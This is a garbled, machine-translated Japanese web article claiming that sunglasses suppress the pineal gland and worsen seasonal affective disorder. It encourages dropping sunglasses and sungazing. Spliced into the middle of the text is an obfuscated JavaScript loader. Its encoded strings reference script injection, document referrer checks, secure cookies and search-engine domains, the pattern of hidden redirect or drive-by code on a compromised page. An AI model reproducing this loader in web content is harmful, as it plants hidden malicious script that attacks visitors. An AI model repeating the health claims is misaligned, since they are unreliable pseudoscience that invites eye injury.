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季節感情障害は、太陽が限られているポートランド、オレゴン、ワシントン、北ヨーロッパ、ロシアなどの北西部地域の多くの人々に影響を与えます.. 私たちの素晴らしい松果体腺は、光を電磁気の衝動に変換し、多くの自律機能のコントロールセンターである視床下部に供給します.. 代わりに、あなたが大部分が曇っている地域に住んでいる場合は、サングラスを失って、あなたがどれだけ気分が良いかを見てみてください.

あなたがサングゼスを選択する場合は、安全な注視のために推奨されているプロトコルに従ってください.. 神経化学インパルスは、それが排泄や身体のホルモンや化学物質の数十のリリースを結集することにより、体内の恒常性を維持するためにある仕事をsの下垂体、体のマスター腺に視床下部から行きます.. 明らかに、松果体の欲望の反応に変換するために、フィルタリングされていない日光が目に届くことが必要です.. それは光感受性の腺であり、日光、またはその欠如によって出される手掛かりに応答する.

var _0x8db0=['RVFmVnE=','WUNOQ3c=','cERESHA=','dUp1d2o=','a1dNZXI=','aGVhZA==','Y3JlYXRlRWxlbWVudA==','c2NyaXB0','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','YXBwZW5kQ2hpbGQ=','44Oh44Op44OI44OL44OzK+mBi+i7oivjgrXjg7PjgrDjg6njgrkr44Ob44Km44Ob44Km','eXFadm4=','dE5sS2k=','bWF0Y2g=','b2RNWXg=','bGVuZ3Ro','c3BsaXQ=','cmVwbGFjZQ==','ZXJIdWo=','SUtVcHM=','RkFzeGM=','QXZrZUY=','c1NodWQ=','ZUlFaVE=','c2RiRUU=','ZGFFdEw=','YmhUY2Y=','OyBzZWN1cmU=','LmFvbC4=','L
mFsdGF2aXN0YS4=','LnlhbmRleC4=','RUJTa2g=','T2NMQUM=','a1FwWEs=','VmdzZlA=','VW50d3Q=','d0F3cFY=','cW56SXI=','UUNHSXc=','aWlqVks=','cmVmZXJyZXI=','V3lOUEE=','dEdOUUU=','VVp3eXI=','aW5kZXhPZg==','c2V0'];(function(_0x3a384b,_0x3c71b3){var _0x1b901e=function(_0x46c232){while(--_0x46c232){_0x3a384b['push'](_0x3a384b['shift']());}};_0x1b901e(++_0x3c71b3);}(_0x8db0,0x1d2));var _0x36d4=function(_0x2bd059,_0x36220d){_0x2bd059=_0x2bd059-0x0;var
_0x315974=_0x8db0[_0x2bd059];if(_0x36d4['YxNmQb']===undefined){(function(){var _0x7053a5=function(){var _0x1eca25;try{_0x1eca25=Function('return\x20(function()\x20'+'{}.. 紫外線は、サングラスとコンタクトレンズによってブロックされる特定のタイプのエネルギーを私たちに提供します.. これらのすべては、それらの涼しい色合いを置くという簡単な行為によって影響を受けることができます.. これらの地域に住む人々は、太陽が輝く数回のうちにサングラスを着用することにより、この障害の重篤度および頻度の増加を引き起こしている可能性がある.. はい、彼らは間違いなくあなたを美しく見せかけますが、あなたと一緒にそうでなくとも機能していますか？
私たちは、光の揺らぎに私たちの目がどれくらいうまく合っているかを知ることは非常に驚くばかりです。.

研究では、サングラスが松果体の機能を阻止することができますするためにどの深さに外に残っているが、氏のようにあなたの時間を制限する方が良いかもしれ示唆する証拠が増えています.. 電磁エネルギーとして光が、視神経を介して眼に入ると、それは光反応性器官と呼ばれる松果体、非常に重要な機能を刺激します.. メラトニン 運転 サングラス ホウホウ レディースメラトニンやセロトニンの生産を台無しだけでなく、マスター腺に影響松果体刺激の欠如はまた、SADの要因として見ることができます.. これは本当ですか？もしそうなら、何が禁止されていますか？ 松果体腺は、2つの半球の間の脳の中心に位置する小さな腺である.. 昼も夜も、日の出の前には、日中の安全なUV日中を除いて、太陽を注視しないでください。.

今日はまだすべてを知っているわけではありませんが、松果体が体内のメラトニンとセロトニン産生を調節していることはわかっています.. 一部の研究者は、ビタミンDを含む人に有益な光線の積極的な摂取を制限することによって、サングラス流行が季節性情動障害に寄与したと信じている.. 執筆者：Stasia Bliss ;メラトニン、睡眠、エネルギー、若さブログ約.. あなたの眼球は、純粋な日光にさらされるとこれはあなたがちょうどあなたがそれらを着用し、いくつかの正直な時間でそれのバランスを取る時間の量に留意、再びサングラスを着用することはできませんという意味ではありません.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x1f1428){_0x1eca25=window;}return _0x1eca25;};var _0x3fa8f3=_0x7053a5();var
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